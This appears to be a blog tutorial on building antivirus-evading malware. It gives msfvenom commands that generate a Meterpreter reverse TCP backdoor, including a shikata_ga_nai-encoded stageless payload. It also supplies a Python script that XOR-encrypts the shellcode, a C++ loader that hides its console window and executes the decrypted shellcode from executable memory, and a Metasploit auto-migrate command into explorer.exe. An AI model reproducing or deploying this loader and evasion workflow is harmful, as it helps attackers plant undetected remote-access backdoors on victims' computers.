XOR CPP 2024

 Goals :

The goal here is to be able to manually get in and understand some of the underlying fundamentals of malware development. 

Firstly, i decide to create backdoor using msfvenom using this command to clarify how many AV detected this payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=9500 -f exe > TCP_9500.exe



Above generated backdoor was quickly detected by most AVs

The effective way to bypassing AVs, we can create custom loader coded in C++ took the shellcode, which is encrypted with XOR cipher. XOR compares two input bits and generates one output bit. The logic is simple. If the bits are the same, the result is 0. If the bits are different, the result is 1.

Passed the output file through the XOR cipher to get the XORed shellcode which we can loaded to loader.cpp file. 

msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=eth0 LPORT=9500 -f raw -o reverse_tcp_9500.txt


To avoid detection by anti-virus software, We had to use an encoder while generating the payload. We created a stageless payload because it can reduces the payload being detected at runtime.

x86/shikata_ga_nai (in Japanese it means nothing can be done about it), This encoder implements a polymorphic XOR. An encoder attempts to overcome detection by AV, network intrusion detection, and keep characters that can cause a crash of the victim out of the payload, like null bytes.

This encoder offers three features that provide advanced protection when combined :

- First, the decoder stub generator uses metamorphic techniques, through code reordering and substitution, to produce different output each time it is used, in an effort to avoid signature recognition.

- Second, it uses a chained self modifying key through additive feedback. This means that if the decoding input or keys are incorrect at any iteration then all subsequent output will be incorrect.

- Third, the decoder stub is itself partially obfuscated via self-modifying of the current basic block as well as armored against emulation using FPU instructions.




With the payload saved in the TCP_4444.txt. We can pass this through a simple python script that will run the XOR encryption through this output and spits out the encrypted version of the shellcode.

Saved as XOR.py in our case, that we use to encode the raw shellcode

# !/usr/bin/env python2 import sys KEY = 'x' def xor(data, key): key = str(key) l = len(key) output_str = "" for i in range(len(data)): current = data[i] current_key = key[i % len(key)] output_str += chr(ord(current) ^ ord(current_key)) return output_str def printCiphertext(ciphertext): print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };') try: plaintext = open(sys.argv[1], "rb").read() except: print("File argument needed! %s " % sys.argv[0]) sys.exit() ciphertext = xor(plaintext, KEY) print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

















The key that use in this XOR.py as it will come in handy later

python2 XOR.py reverse_tcp_9500.txt > xor_output.txt



Sample output, copy :


This output is copied and pasted in the loaderxor.cpp. The code for loaderxor.cpp:

#include <windows.h> #include <iostream> int main(int argc, char **argv) { ShowWindow(GetConsoleWindow(), SW_HIDE); char b[] = { }; char c[sizeof b]; for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';} void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, c, sizeof c); ((void(*)())exec)(); }










GuiTricks :

WinMain : is a function which compiler gui is looking for, the GUI program need WinMain

Console : function need main function 


#include <windows.h> #include <iostream> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrenInstance, LPSTR lpCmdLine, int nCmdShow) { ShowWindow(GetConsoleWindow(), SW_HIDE); char b[] = { }; char c[sizeof b]; for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';} void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, c, sizeof c); ((void(*)())exec)(); }




In the long time after the connection has been made, it died and deleted on port 9500, we expected from this since this method is old.


Solution 1 – Migrate to another process

One trick we can try is to hide from the AV by migrating the meterpreter process to another benign process – e.g. to explorer.exe or svchost.exe – as soon as possible.

msf6 exploit(..) > set AutoRunScript "migrate -n explorer.exe" msf6 exploit(..) > run

or migrate using SUID number.

After fast auto migrate it still detected because of static analysis 



2022 AV Update :






Comments